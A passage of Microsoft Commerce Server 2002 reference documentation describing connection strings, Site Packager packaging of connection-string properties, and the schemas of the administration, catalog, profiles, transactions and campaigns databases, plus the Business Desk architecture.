  • All Commerce Server connection strings use Microsoft SQL Server security. However, the connection string for the Data Warehouse resource to the online analytical processing (OLAP) server database only supports Microsoft Windows NT Authentication.

Commerce Server uses connection strings for the following databases:

  • Administration database and Direct Mailer database. During setup, you enter the login user names and passwords for the Administration database and Direct Mailer database. You can change these at a later date by using Commerce Server Manager.
  • Databases used by resources. When you unpack a site by using Commerce Server Site Packager, for some resources you are prompted for a connection string to the appropriate database. The following table lists the connection strings for each resource.
    Resource | Connection string
    Product Catalog | Catalog Database
    Campaigns | Campaigns Database
    Transactions | Transactions Database
    Transaction Config | Transactions Config Database
    Profiles | s_BizDataStoreConnectionString, s_CommerceProviderConnectionString, s_ProfileServiceConnectionString
    Data Warehouse | The connection string is not named in the user interface because the Data Warehouse has its own snap-in extension.
  • Other databases. You also specify connection strings in the following cases:
    Feature | Connection string
    List Manager: Importing and exporting lists | In the List Manager module in Commerce Server Business Desk, set the connection string for the SQL Server database table you are importing or exporting.
    Migration ProfileBuilder tool | After you modify the Migration ProfileBuilder tool, create a Data Source Name (DSN) for the Commerce Server Profiles data store.
    Profiles resource: Adding data sources | Use the data source picker, and for Lightweight Directory Access Protocol (LDAP), use the LDAP connection string dialog box, to enter the connection strings for the databases and LDAP sources to which you are mapping data source partitions.
    Predictor resource | Enter the connection string for an external database, not for the Data Warehouse.

If you need to change a connection string for a database, use Commerce Server Manager.

See Also

Changing Database Connection Strings

OLE DB Connection Strings for the Data Warehouse

OLE DB Connection Strings for the Profiling System

Code to Connect to the Expression Store

Code to Retrieve the Predictor Database Connection String

Code to Connect to the Profile Store


Connection Strings, Site Packager, and Admin Objects

To determine whether a property is a connection string, Site Packager uses connstr_db, the first part of the connection string name.

The administration objects use the f_IsConnStr flag in the ExtendedProps table in the MSCS_Admin database to determine whether the property is a connection string.

Connstr_db

When Site Packager reads connstr_db at the beginning of a property name during the unpacking process, it fills that property with data.

If you run Site Packager in the Quick unpack mode, the data is all defaulted and you cannot change it during the unpacking process. If you run Site Packager in the Custom unpack mode, the property is displayed along with the other connection strings and you can change the values.

If you want Site Packager to fill the connection string property with data, then name the property beginning with connstr_db. If you do not want this behavior, then name the property beginning with some other string. This test is the only one that the Site Packager uses to determine whether a given property is a connection string.

f_IsConnStr Flag

The administration objects use the f_IsConnStr flag in the ExtendedProps table in MSCS_Admin to determine whether the property is a connection string. When Site Packager packs a site, it exports all configuration data for the resources to plain text files and places them in the package. This is a security issue for the connection strings because they can contain user names and passwords. If f_IsConnStr is set to 1 (TRUE) then the export function of the administration object does not write out the value, and this keeps the user name and password private.

The configuration data is stored in the package in a named stream inside the compound file, and it can be easily viewed with public domain tools.


OLE DB Provider Connection Pooling

When an application such as Visual Basic or ActiveX Data Objects (ADO) opens a connection to SQL Server, the OLE DB Provider for Commerce Server opens a pool of connections that it initializes for performance reasons. However, it does not try to activate all of the connections at initialization time. The connection objects are created and placed in a “free” queue. When the OLE DB Provider for Commerce Server gets a request for a connection, it checks to see if there are any connections in an “idle” queue. If not, it acquires a connection from the “free” queue and uses it to connect to SQL Server.


Administration Database Tables

The configuration data for Commerce Server 2002 resources that are supplied with Commerce Server is stored in a Microsoft SQL Server database named MSCS_Admin. There are seven tables in this database that are important to understanding how the configuration data associated with custom resources can be maintained in this database, exposed through Commerce Server Manager, and deployed with Commerce Server Site Packager.

The following topics provide detailed information about these tables. For detailed information about securing the Administration database, see Securing the Administration Database.

Note

  • Do not modify these core tables for any reason. They are provided here for reference.
Table name | Description
ExtendedProps | Stores the characteristics of resource properties (resource property schema).
PupDBScripts | Involved in configuring the use of the GenericPuP object.
ResourceProps | Stores actual resource property values, as defined in the ExtendedProps table.
Resources | Defines actual resource instances, as defined in the SystemProps table.
SiteResources | Serves as a lookup mechanism for all resources installed in a site.
Sites | The starting point for retrieving data about a site.
SystemProps | Stores the characteristics for resources (resource schema).

Retrieving the value of a resource property is a multi-step process. Start by looking up the site name in the Sites table. The Sites table leads to the SiteResources table, which leads to the Resources table, which leads to the ResourceProps table, where actual resource property values are stored.

You use the administration objects shown in the following table to access these tables, perform value retrievals, and set new values.

Object | Description
GlobalConfig | Provides methods for management of global resources.
SiteConfig | Provides methods for management of site resources.
SiteConfigReadOnly | Provides methods for faster retrieval of global and site resource property values.

See Also

Securing the Administration Database


ExtendedProps Table

The ExtendedProps table stores the characteristics of resource properties. Together with the SystemProps table, this table defines the schema of the Administration database.

The columns of the ExtendedProps table are described in the following table.

Note

  • Do not modify this table for any reason. It is described here for reference.
Column Description
s_ResourceType
 A string used to map a single row in the SystemProps table, representing a single resource type, with the associated resource properties in this table. The corresponding column in the SystemProps table is also named s_ResourceType.
s_PropertyName
 Set to an arbitrary string that serves as the internal name of the property, and used when accessing the property programmatically with the GlobalConfig, SiteConfig, and SiteConfigReadOnly objects.

Typically, this name is descriptive and begins with a letter indicating the data type of the property and an underscore. For example, "i_AuctionOptions" indicates an integer data type.

f_IsConnStr
 When set to "1", indicates that the property is an OLE DB connection string. If set, Commerce Server Manager uses a Universal Data Link (UDL) dialog box to set the value, and Commerce Server Site Packager will prompt for connect information for a specific database when unpacking.

For additional information about this flag and its relationship to connection string configuration values, see the note in ResourceProps Table.

f_IsHidden
 When set to "1", the Generic Resource dialog box will not display the property. Set this flag to "1" for properties for which there is a custom MMC snap-in.
f_IsSimpleList
 When set to "1", indicates that the new property is a SimpleList object. This feature allows the storage of multi-valued properties.
s_Description
 An arbitrary descriptive string that is displayed in the Generic Resource dialog box.
i_Vartype
 An integer indicating the Variant type of the data being stored. For example, 8 indicates a string and 8200 indicates an array of strings. All Variant types except SafeArray, IUnknown, and IDispatch are allowed.
s_Value
 The default value for this resource property, if any.
s_DisplayName
 A user-friendly display name for the property that is shown in the Generic Resource dialog box.

See Also

Securing the Administration Database


PupDBScripts Table

The PupDBScripts table is involved in the configuration of the use of the GenericPuP object.

The columns of the PupDBScripts table are described in the following table.

Note

  • Do not modify this table for any reason. It is described here for reference.
Column Description
i_SiteID
 An integer that identifies a particular resource as being associated with a particular site.

This column corresponds to the i_SiteID columns in the SiteResources and Sites tables.

i_ResourceID
 An integer that identifies the resource with which this GenericPuP object entry is associated. Values in this column correspond to the values in the i_ResourceID columns in the ResourceProps, Resources, and SiteResources tables.
u_scriptname
 The name of the script with which this GenericPuP object entry is associated. This name appears in the comma-separated list in either the s_PupParam2 column or the s_PupParam3 column in the Resources table.
txt_script
 The SQL script associated with this GenericPuP object entry, if any. Use the GetSQLScript, PutSQLScript, and DeleteSQLScript methods of the SiteConfig object to manage script entries in this column. For more information, see SiteConfig Object.

See Also

Securing the Administration Database


ResourceProps Table

The ResourceProps table stores the actual resource property values. Together with the Resources, SiteResources, and Sites tables, this table stores the data for the Administration database.

The columns of the ResourceProps table are described in the following table.

Note

  • Do not modify this table for any reason. It is described here for reference.
Column Description
i_ResourceID
 An integer that identifies the resource with which this property is associated. Values in this column correspond to the values in the i_ResourceID columns in the PupDBScript, Resources, and SiteResources tables.
s_PropertyName
 Set to an arbitrary string that serves as the internal name of the property, and is used when accessing the property programmatically with the GlobalConfig, SiteConfig, and SiteConfigReadOnly objects.

Typically, this name is descriptive and begins with a letter indicating the data type of the property and an underscore. For example, "i_AuctionOptions" indicates an integer data type.

f_IsConnStr
 When set to "1", indicates that the property is an OLE DB connection string. If set, Commerce Server Manager uses a Universal Data Link (UDL) dialog box to set the value, and Commerce Server Site Packager will prompt for connect information for a specific database when unpacking.

See note below for additional information about this flag and its relationship to connection string configuration values.

f_IsHidden
 When set to "1", the Generic Resource dialog box will not display the property. Set this flag to "1" for properties for which there is a custom MMC snap-in.
f_IsSimpleList
 When set to "1", indicates that the new property is a SimpleList object. This feature allows the storage of multi-valued properties.
s_Description
 This column is not used.
i_Vartype
 An integer indicating the Variant type of the data being stored. For example, 8 indicates a string and 8200 indicates an array of strings. All Variant types except SafeArray, IUnknown, and IDispatch are allowed.
s_Value
 The value of the property.
s_DisplayName
 A user-friendly display name for the property that is shown in the Generic Resource dialog box.

Notes

  • Commerce Server Site Packager performs special processing for resource properties that have names beginning with "connstr_db". The values associated with these properties are packaged, but when they are unpacked, the packaged value is ignored and they are provided with default connection string values. If you choose to perform quick unpacking, these defaults are automatically accepted. If you choose custom unpacking, the defaults are displayed and you have the opportunity to change them. Even though they are ignored during unpacking, these connection strings are packaged in clear text, exposing them as a potential security risk.
  • The packaging of connection string values presents a potential security risk because the value, including any password, is stored as clear text in the site package. The following mechanism has been developed to avoid this security risk.

    The f_connstr attribute provides a mechanism for suppressing the packaging of connection string values (or potentially, any sensitive configuration property). When this attribute is set to one (1), the associated property value is not packaged.

  • If you want a connection string to be packaged and unpacked without any user interaction, and you are willing to assume the potential security risk, do not begin your connection string property name with "connstr_db" and do not set the associated f_connstr attribute to one (1). Alternatively, you could create a Component Object Model (COM) object that implements the IPuP interface, and let that object handle the packaging and unpacking of your connection string.

See Also

Securing the Administration Database


Resources Table

The Resources table defines actual instances of resources. Together with the ResourceProps, SiteResources, and Sites tables, this table stores the data for the Administration database.

Entries in the Resources table have a one-to-many relationship with entries in the ResourceProps table. For more information about one-to-many relations, see One-To-Many Relation.

The columns of the Resources table are described in the following table.

Note

  • Do not modify this table for any reason. It is described here for reference.
Column Description
i_ResourceID
 An integer that identifies a resource in this table. Values in this column correspond to the values in the i_ResourceID columns in the PupDBScript, ResourceProps, and SiteResources tables.
s_DisplayName
 A string that stores the programmatic name for the resource, as used when accessing the resource through the Fields property of the GlobalConfig, SiteConfig, and SiteConfigReadOnly objects. For more information, see GlobalConfig.Fields, SiteConfig.Fields, and SiteConfigReadOnly.Fields, respectively.
s_Description
 A string that stores the user-friendly name for the resource.
s_Type
 A string that indicates the type of this resource. This column maps to the s_ResourceType columns in the SystemProps and ExtendedProps tables.
f_IsGlobal
 A flag that indicates whether a resource is global (1) or site-specific (0).
f_ResourceFlags
 The values in this column are bit fields that store information about a number of Boolean characteristics of resources. Commerce Server Manager and Commerce Server Site Packager examine these characteristics to determine how each resource should be treated. The bits are defined as follows:
  • 0x00000001 – Set when this row is a reference to a global resource.

    Constant: IS_REFTOGROUPRES

  • 0x00000002 – Set when this resource can be displayed in MMC.

    Constant: IS_SNAPINITEM

  • 0x00000004 – Set when this resource has its own snap-in. The ProgID of the snap-in extension must be in the s_ProgIDSnapIn column when this bit is set.

    Constant: IS_SNAPINAVAILABLE

  • 0x00000008 – Set when this resource is an application in a site. Not used externally.

    Constant: IS_ADDRESS

  • 0x00000010 – Set when this resource is a physical resource. Affects delete functionality. Defaults to the first global resource like it. During custom unpacking, requires user to select existing global resource. Used in combination with IS_REFTOGROUPRES.

    Constant: IS_PHYSICAL

  • 0x00000080 – Set for resources that use a non-standard snap-in extension (currently only used by the Data Warehouse resource). The use of this flag is not recommended because of the special programming considerations that are required.

    Constant: IS_SNAPIN_NNSE

  • 0x00000100 – Set for resources that are never to be packaged by Commerce Server Site Packager. Set this bit when you do not want to transfer resources from one computer to another.

    Constant: IS_NOTPACKED

  • 0x00000200 – Set when this resource is a Business Desk application.

    Constant: IS_BIZDESK

The constants are defined in the ConfigFlags enumeration in the file cssnapin.h.

s_ProgIDSnapIn
 A string that provides the ProgID of a snap-in extension for this resource. The snap-in extension must implement the IDispatch interface. The IS_SNAPINAVAILABLE bit of the f_ResourceFlags column should be set when this column has a value.
s_Computer
 A string that optionally shows the name of the computer where Commerce Server is installed.
i_Status
 This column is not currently used.
f_PupFlags
 When set to zero (0), tells Commerce Server Site Packager that the name passed when packaging and unpacking is a file name. When set to one (1), tells Commerce Server Site Packager that the name passed when packaging and unpacking is a folder name.
s_ProgIDPUP
 A string that provides the ProgID of a COM component that implements the Commerce Server Site Packager (IPuP) interface. For more information, see Site Packager Interface.
s_PupParam1
 A string that contains a comma-delimited list of names of the database tables to be packaged and unpacked for the resource.
s_PupParam2
 A string that contains a comma-delimited list of the names of the SQL schema scripts to execute when importing the resource.
s_PupParam3
 A string that contains a comma-delimited list of the names of the SQL scripts to execute when deleting the resource.

See Also

Securing the Administration Database


SiteResources Table

The SiteResources table serves as a lookup mechanism for all resources installed in a site. Together with the ResourceProps, Resources, and Sites tables, this table stores the data for the Administration database.

Entries in the SiteResources table have a many-to-many relationship with entries in the Resources table. For more information about many-to-many relations, see Many-To-Many Relation.

The columns of the SiteResources table are described in the following table.

Note

  • Do not modify this table for any reason. It is described here for reference.
Column Description
i_SiteID
 An integer that identifies the particular site associated with the corresponding resource.

This column corresponds to the i_SiteID columns in the PupDBScripts and Sites tables.

i_ResourceID
 An integer that associates the identified resource with its corresponding site. Values in this column correspond to the values in the i_ResourceID columns in the PupDBScript, ResourceProps, and Resources tables.

See Also

Securing the Administration Database


Sites Table

The Sites table is the starting point for retrieving data about a site. It maps the site name with a site ID. This ID is not the same as the Internet Information Services (IIS) metabase ID for the site. Together with the ResourceProps, Resources, and SiteResources tables, this table stores the data for the Administration database.

Entries in the Sites table have a one-to-many relationship with entries in the SiteResources table. For more information about one-to-many relations, see One-To-Many Relation.

The columns of the Sites table are described in the following table.

Note

  • Do not modify this table for any reason. It is described here for reference.
Column Description
i_SiteID
 An integer that identifies a particular site.

This column corresponds to the i_SiteID columns in the PupDBScripts and SiteResources tables.

s_Name
 A string containing a user-friendly name for the site.
s_Description
 An optional string containing a user-friendly description for the site.
i_Status
 This column is not currently used.
d_DateCreated
 The date and time that this site entry was created.
d_DateModified
 The date and time that this site entry was last modified.

See Also

Securing the Administration Database


SystemProps Table

The SystemProps table defines the characteristics of resources. Together with the ExtendedProps table, this table defines the schema of the Administration database.

The columns of the SystemProps table are described in the following table.

Note

  • Do not modify this table for any reason. It is described here for reference.
Column Description
i_ApplicationID
 This column is not currently used.
s_Name
 This column is not currently used.
s_ClassName
 Set to an arbitrary string. It is used as the bstrConfigSchemaClass parameter to both the GlobalConfig.CreateServiceConfig and the SiteConfig.CreateComponentConfig methods.
s_ResourceType
 A string used to map a single row in this table, representing a single resource type, with the associated resource properties in the ExtendedProps table. The corresponding column in the ExtendedProps table is also named s_ResourceType.
s_Description
 This column is not currently used.
f_ResourceFlags
 The values in this column are bit fields that store information about a number of Boolean characteristics of resources. For more information about the meaning of the bits in this flag, see the f_ResourceFlags column of the Resources Table.

The constants for the bits in this flag are defined in the ConfigFlags enumeration in the file cssnapin.h.

f_PupFlags
 When set to zero (0), tells Commerce Server Site Packager that the name passed when packaging is a file name. When set to one (1), tells Commerce Server Site Packager that the name passed when packaging is a folder name.
s_RefResource
 This column is not currently used.
s_MachineName
 This column is not currently used.
i_Status
 This column is not currently used.
s_ProgidSnapin
 A string that provides the ProgID of a snap-in extension for this resource. The snap-in extension must implement the IDispatch interface.
s_ProgidPUP
 A string that provides the ProgID of a COM component that implements the Commerce Server Site Packager (IPuP) interface. For more information, see Site Packager Interface.
s_PUPParam1
 This column is not currently used.
s_PUPParam2
 This column is not currently used.
s_PUPParam3
 This column is not currently used.

See Also

Securing the Administration Database


Analysis/Report Database Tables

The following tables are contained in the Data Warehouse. For detailed information about securing these tables and about securing reports, see Securing the Data Warehouse.

Note

  • Do not modify these tables for any reason. They are described here for reference.
Table name Description
Report
 Describes the attributes used in the main report definition table.
ReportDbObject
 Describes database objects created for use in a static report.
ReportDimension
 Describes the attributes used to add a dimension to a report.
ReportInstanceDbObject
 Describes instances of database objects created for use in a static report.
ReportInstanceParam
 Describes the attributes used to store the parameters entered through the user interface for use in query expressions.
ReportParam
 Describes the attributes used to add a parameterized query expression to a static report.
ReportStatus
 Describes the attributes used to supply status information about a static report.

See Also

Securing the Data Warehouse


Data Warehouse Database Tables

The Data Warehouse includes the classes and relations that make up the logical schema and the meta-model used to create them. For information about the tables contained in the Data Warehouse, see Data Warehouse Schema.

See Also

Securing the Data Warehouse


Direct Mailer Database

These tables are contained in the Direct Mailer database. For detailed information about securing this database, see Securing the Direct Mailer Database.

Note

  • Do not modify these tables for any reason. They are described here for reference.
Table name Description
Dml_attachments
 Contains attributes used to specify file attachments for Direct Mailer jobs.
Dml_job_errors
 Contains attributes used to describe errors that occurred during the sending of Direct Mailer messages.
Dml_jobs
 Contains a list of Direct Mailer jobs.

See Also

Securing the Direct Mailer Database


Campaigns Database Tables

The Marketing tables are found in the database referred to by the Campaigns site resource. For detailed information about securing these database tables, see Securing the Campaigns Database.

Note

  • Do not modify these tables for any reason. They are described here for reference.
Table name Description
Ad_item
 Represents scheduled advertising content for a Web page, contains data members describing when the advertisement runs and codes linking the advertisement to the products it represents.
Campaign
 Defines the business process involved in running a marketing campaign for an advertiser.
Campaign_item
 Represents the content included in a marketing campaign and/or a scheduled advertisement.
Campaign_item_types
 Describes the types of campaign items available in the marketing system.
Campaigns_version
 Contains schema versioning information. If custom campaign item types are created, they should be registered here.
Creative
 Contains information about how to display an advertisement or discount.
Creative_property
 Describes the substitution strings contained in each creative type, with one entry per substitution string per creative type.
Creative_property_value
 Contains values for creative properties.
Creative_size
 Describes the size of the slot required to display a given creative on a page.
Creative_type
 Contains formatting information describing how to display the creative.
Creative_type_xref
 Determines which creative types (templates) are available for each type of campaign item.
Customer
 Defines a customer who uses advertising through a Commerce Server 2002 Web site.
Dm_item
 Describes scheduled direct mailing items such as address and format information.
Event_type
 Categorizes marketing events.
Industry_code
 Contains attributes that allow the selection algorithm to prevent showing two ads from the same industry and from different customers on the same page.
Order_discount
 Represents discounted sale items. The class contains data members describing the items and conditions of the sale.
Order_discount_expression
 Identifies the eligibility requirement expressions for discounts.
Order_discount_misc
 For internal Business Desk use only.
Page_group
 Represents a group of custom content items used on a Web page for a marketing campaign.
Page_group_xref
 Cross-references custom Web page content with the Web page or logical set of Web pages that contains the content.
Performance_total
 Records aggregate counts of events such as clicks and requests for each campaign item.
Target
 Defines a target for marketing and custom Web content, such as a particular type of user.
Target_group
 Defines a group of targets for marketing and custom Web content.
Target_group_xref
 Cross-references a target group with the custom content for the target group.

See Also

Securing the Campaigns Database


Prediction Database Tables

The following tables are included in the Data Warehouse. For detailed information about securing these tables, see Securing the Data Warehouse and Predictor Service Account.

Note

  • Do not modify these tables for any reason. They are described here for reference.
Table name Description
PredictorModelCfgs
 Describes the available model configurations.
PredictorDataTables
 Serves as an index to the source data tables and an attributes table.
PredictorModels
 Stores the actual models and the parameters that were used to build them.

See Also

Securing the Data Warehouse

Predictor Service Account


Components of the Catalog Database

The product catalog database is created when you unpack a Solution Site. A series of tables are created. These tables are used for general maintenance and operation of the database.

For detailed information about securing these tables, see Securing the Product Catalog Database.

Note
  • Do not modify these core tables for any reason. They are provided here as an example.

When you begin creating a new product catalog, Commerce Server 2002 dynamically creates tables to facilitate storing the data for a new catalog. The following components are generated for a new catalog:

  • Base Catalog Tables
  • Virtual Catalog Tables
  • Language-specific Catalog Tables
  • Catalog-specific Stored Procedures
  • Catalog-specific Views
  • Full-text Search Indexes
  • MSCS_CatalogScratch Database

Base Catalog Tables

Following are the catalog tables that are used by a base catalog.

  • <CatalogName>_CatalogProducts
  • <CatalogName>_CatalogRelationships
  • <CatalogName>_CatalogHierarchy
  • <CatalogName>_CatalogDeletedProducts (Note that this table is not needed in a production environment.)
  • <CatalogName>_CatalogDependentCatalogs

Virtual Catalog Tables

When you create a virtual catalog, the following tables are dynamically generated by aggregating the catalog name, and the role of the table in supporting the catalog:

Note

  • The following tables do not apply to the Adventure Works catalog scenario, which uses a base catalog only.
    • <CatalogName>_CatalogRelationships
    • <CatalogName>_CatalogHierarchy
    • <CatalogName>_CatalogProducts
    • <CatalogName>_CatalogDeletedProducts (Note that this table is not needed in a production environment.)
    • <CatalogName>_CatalogIncludedProductsAndCategories
    • <CatalogName>_CatalogPricingRules
    • <CatalogName>_CatalogVirtualProducts

Language-specific Catalog Tables

To support globalization of the product catalog, a language-specific table is created for each new language that is defined for the catalog:

  • <CatalogName>_<Language>_Catalog

In this example, you will work with a U.S. English table named AdventureWorksCatalog_en-US_Catalog.

Catalog-specific Stored Procedures

When a new catalog is created, Commerce Server 2002 creates the following stored procedures that relate specifically to the new catalog. The standard naming conventions for these stored procedures are as follows:

  • ctlg_DeleteProduct_for_<CatalogName>
  • ctlg_GetRelationships_for_<CatalogName>
  • ctlg_DeleteCategory_for_<CatalogName>

The language-specific stored procedures are:

  • ctlg_AncestorCategories_for_<CatalogName>_<language>
  • ctlg_GetCategoryResults_for_<CatalogName>_<language>
  • ctlg_GetProducts_for_<CatalogName>_<language>
  • ctlg_GetDescProds_for_<CatalogName>_<language>
  • ctlg_GetDescProdsOnly_for_<CatalogName>_<language>
  • ctlg_GetChildCategories_for_<CatalogName>_language>
  • ctlg_GetRootCategories_for_<CatalogName>_<language>
  • ctlg_GetRootProducts_for_<CatalogName>_<language>
  • ctlg_Specsearch_for_<CatalogName>_<language>

Catalog-specific Views

Several views are created for a new catalog. They follow the same naming convention as tables and stored procedures:

  • <CatalogName>_ClassTypes
  • <CatalogName>_LNG_NEUTRAL

The language-specific views for each language defined for the catalog are:

  • <CatalogName>_<Language>_RelationsView
  • <CatalogName>_<Language>_Catalog

Full-text Search Indexes

Product catalogs make use of SQL full-text search indexes that are dynamically created as part of a new catalog. The contents of these indexes will not be replicated but will be re-generated on the production database server.

The <CatalogName>_FullTextCatalog catalog is created to support a full-text index on the following catalogs:

  • <CatalogName>_CatalogProducts, which includes fields that are marked as searchable in Business Desk.
  • <CatalogName>_<Language>_Catalog for each language defined in the catalog. This table specifically includes the name and display name fields.

MSCS_CatalogScratch

The Product Catalog System uses a "scratch" database, MSCS_CatalogScratch, for storing temporary tables. You must ensure that this database exists on your production catalog database server(s) and that the CTLG_PropertyTableMap table is replicated.

For more information about this database, see MSCS_CatalogScratch.


MSCS_CatalogScratch Database

The Product Catalog System uses this "scratch" database for storing persistent and empty tables created by the run-time methods of the Catalog API. It is created by the catalog pup object and by the catalogcreate.sql script.

This database must reside on your production catalog database server(s), and both run-time and design-time users of the Product Catalog System must have db_owner permissions on this database.

Use the catalogcleanup.vbs script in the Program Files/Microsoft Commerce Server 2002/Support directory to delete the temporary tables in this database.

Do not use this database for storing your own data.

This database is shared between multiple Catalog Resources (for example, if you have two sites using two different catalog databases, you will still have only one MSCS_CatalogScratch database).

The Product Catalog System stored procedures create temporary tables in this database (if needed), populate them with data, use them, and when the stored procedures end they empty the temporary tables. The empty table is used for a subsequent execution of the stored procedure. Because the table name and schema are persisted, SQL Server can reuse its query plan instead of generating a new query, and this results in better performance.


Profiles Database Tables

The Profiles tables are found in the database referred to by the Profiles site resource. For detailed information about securing these tables, see Securing the Profiles Database.

Note

  • Do not modify these tables for any reason. They are described here for reference.
Table name Description
Addresses
 Contains user and organization addresses. Used to store the Profiling System run-time data collected by the sites.
BlanketPOs
 Contains purchase order information. Used to store the Profiling System run-time data collected by the sites.
ClassDef
 Contains profile/Data Warehouse schema information.
ClsAttrib
 Contains profile/Data Warehouse schema information.
ColDef
 Contains profile/Data Warehouse schema information.
CommerceServerCatalogs
 Contains profile/Data Warehouse schema information.
ES_ExprExprDeps
 Contains the dependencies of expressions on one another.
ES_ExprInfo
 Contains information for expressions.
ES_ExprProfDeps
 Contains the dependencies of expressions on profiles.
GroupMem
 Contains profile/Data Warehouse schema information.
MemAttrib
 Contains profile/Data Warehouse schema information.
MemberDef
 Contains profile/Data Warehouse schema information.
OrganizationObject
 Contains organization object information. Used to store the Profiling System run-time data collected by the sites.
Relation
 Contains profile/Data Warehouse schema information.
SourceAttrib
 Contains profile/Data Warehouse schema information.
SourceDef
 Contains profile/Data Warehouse schema information.
TableDef
 Contains profile/Data Warehouse schema information.
UserObject
 Contains user object information. Used to store the Profiling System run-time data collected by the sites.

See Also

Securing the Profiles Database


Transactions Database Tables

The Transactions tables are found in the database referred to by the Transactions site resource. For detailed information about securing these tables, see Securing the Transactions Database.

Note

  • Do not modify these tables for any reason. They are described here for reference.
Table name Description
BasketGroup
 Holds order groups with status=basket or status=template.
CatalogProducts_AuctionBid
 Holds auction item bids.
CatalogProducts_AuctionItem
 Describes the items being auctioned.
counters
 Contains counters used by the GenId object. For example, it is used for sequential order tracking numbers.
OrderFormHeader
 Stores order group information at the order form level.
OrderFormLineItems
 Stores order group information at the item level.
OrderGroup
 Holds outer-level order group information.
OrderGroupAddresses
 Holds the addresses contained in an order group.
TransCategory
 Contains the tables that the Transaction DTS task will transfer.
TransDimension
 Contains the columns that the DTS will display in the user interface. Key fields are transferred by default, and are not displayed in the user interface. The RequiredDim column determines the default column selection in the user interface.
UserFilter
 Holds user search state, for customer and partner services.

See Also

Securing the Transactions Database


TransactionConfig Database Tables

The TransactionConfig tables are found in the database referred to by the Transaction Config site resource. For detailed information about securing these tables, see Securing the TransactionConfig Database.

Note

  • Do not modify these tables for any reason. They are described here for reference.
Table name Description
CatalogCache_Virtual_Directory
 Contains a list of applications that are using a cache based on catalog information. This table is used by servers in a Web farm to announce that they are caching catalog information to Business Desk.
Decode
 Decodes codes (for example, 1=basket; 2=template; 3=order).
Region
 Holds names and codes for country/region and state/province.
RegionalTax
 Contains tax rates for the SampleRegionalTax pipeline component.
ShippingConfig
 Contains information about available shipping methods.
TableShippingRates
 Contains shipping rate information for StepwiseShipping pipeline components.
TxVirtual_Directory
 Contains a list of applications that are using shipping and tax caches. It is used by servers in a Web farm to announce its caches to Business Desk.

See Also

Securing the TransactionConfig Database


Business Desk Architecture

Commerce Server Business Desk is a Web-based site management tool included with Commerce Server 2002. Business Desk hosts business management modules that you use to configure, manage, and analyze your sites. For example, you use Business Desk modules to update pricing information in your catalogs, target new ads to specific users, and then run reports to measure how these changes affect site productivity.

Business Desk has two parts: the Business Desk application and the Business Desk client.

  • Business Desk application. The management tool you use to configure, manage, and analyze your site. Business Desk is accessible from any computer running Microsoft Internet Explorer 5.5, providing you with secure remote access.

    Business Desk applications are provided in Solution Site packages. After you install Commerce Server, you must unpack a Solution Site to install a Business Desk application. If you have an existing site, and you want to use Business Desk to manage it, you must unpack a Solution Site to get the Business Desk application, and then modify the application.

  • Business Desk client. The client software that is installed locally on your computer, providing the interface to the Business Desk application. When you first access the Business Desk application (through a URL), the Business Desk client is downloaded and installed onto your computer. It is recommended that the computer on which you run the Business Desk client has a high-speed connection to the Business Desk application.

The following figure shows how you can use Business Desk clients to remotely access the Business Desk application to update a Web site.

A figure showing how the Business Desk client accesses the Busines Desk application.

This section contains:

  • Business Desk Modules and Categories
  • Business Desk Framework


Business Desk Modules and Categories

You use modules, the main components of Commerce Server Business Desk, to manage different aspects of your site. The following table lists the Business Desk modules and the categories that contain them, and describes the tasks you can do with each one.

Module/Categories Description
Analysis
Reports
Completed Reports
Segment Viewer
Affinity Lists
 Run and review reports that represent your site activity, and perform predictive analysis. The Analysis modules come with a rich set of reports covering various aspects of your site.
Campaigns

Campaign Manager

List Manager
Campaign Expressions
Target Group
Reference Tables
Publish Campaigns
 Create and schedule marketing campaigns. Add customer information and manage campaigns and campaign items, such as creating advertising banners, Direct Mailer jobs, and product discounts. Each campaign item can be targeted to specific users, thereby creating a highly personalized user experience.
Catalogs
Catalog Definition Designer
Catalog Editor
Catalog Sets
 Import catalogs, create catalogs, add and price products. Create catalogs that contain special prices and that are displayed only to certain users, for example, members of a club.
Orders
Basket Manager
Order Status Codes
Location Codes
Order Status
Shipping Methods
Tax Rates
Publish Transactions
 Search the Commerce Server database for existing order information, and add, delete, approve, and change order information. Add, delete, and change shipping rates and tax rates.
Users
Users
Organizations
Profile Definition Designer
Site Terms Editor
Publish Profiles
 Create and change users, organizations, and profiles. Create and change site terms.

See Also

Working with Business Desk


Business Desk Framework

Commerce Server Business Desk is a user interface framework implemented primarily as Active Server Pages (ASP) pages containing Dynamic Hypertext Markup Language (DHTML). This framework provides a structured environment in which third-party developers can easily extend the management functionality provided with Commerce Server 2002. This environment includes structured page navigation, standard mechanisms for data manipulation, shared utility routines, and conventions that help to ensure a consistent user experience.

By default, every Commerce Server Web site has a distinct instance of Business Desk associated with it. Though Business Desk shares a set of commerce resources, such as databases, with the Web site, it exists as a separate ASP application, with a directory structure and virtual root of its own.

The Commerce Server Business Desk Framework provides the environment in which Business Desk modules are run. The following figure shows how a set of configuration files provides two important types of information needed for the Business Desk Framework to support navigation. The first type determines the set of categorized modules that will be accessible within Business Desk. The second type is used to build and manage the taskbar, which can be unique to each action page.

A figure showing the Business Desk Framework.

The figure also shows how modules are typically designed so that their initial action page is a list page, from which edit pages can be accessed by using task buttons. It also shows the typical design in which a user must return to the initial list page to move to a different module.

The Business Desk Framework has the following characteristics:

  • The master configuration file, together with a set of module configuration files, provides the information needed by the Business Desk Framework to manage both the navigation pane and the taskbar displayed on each action page.
  • Action pages that display read-only lists, known as list pages, are always displayed along with the navigation pane. This means that a user must move to a different module from a list page, and not from an edit page. List pages are read-only (with the exception of Delete tasks), which means that users will generally not need to be presented with warnings about leaving the module without saving changes to data.
  • Navigation between action pages should typically be done by using the task buttons on the taskbar. This mechanism allows the Business Desk Framework to provide services that occur during transition between action pages. You should minimize the direct linking of action pages to buttons within a page.

See Also

Building Business Desk Modules


Commerce Server and the .NET Enterprise Servers

Although Commerce Server 2002 is a stand-alone product, it is designed to operate seamlessly with other products that, taken together, make up the Microsoft .NET Enterprise Servers.

The .NET Enterprise Servers are a comprehensive family of server applications for building, deploying, and managing scalable, integrated Web solutions with fast time to market. You can use the .NET Enterprise Servers to build systems that integrate Commerce Server sites with the rest of your management information systems. If you need this level of integration, you can implement one or more of the .NET technologies in conjunction with Commerce Server.

Some of the .NET technologies that are used with Commerce Server include:

  • Microsoft Visual Studio .NET
  • Microsoft Content Management Server 2001 and Later
  • Microsoft BizTalk Server 2000 and Later
  • Microsoft SQL Server 2000
  • Microsoft Application Center 2000 and Later
  • Microsoft Internet Security and Acceleration Server 2000 and Later
  • Microsoft Host Integration Server 2000


Microsoft Visual Studio .NET

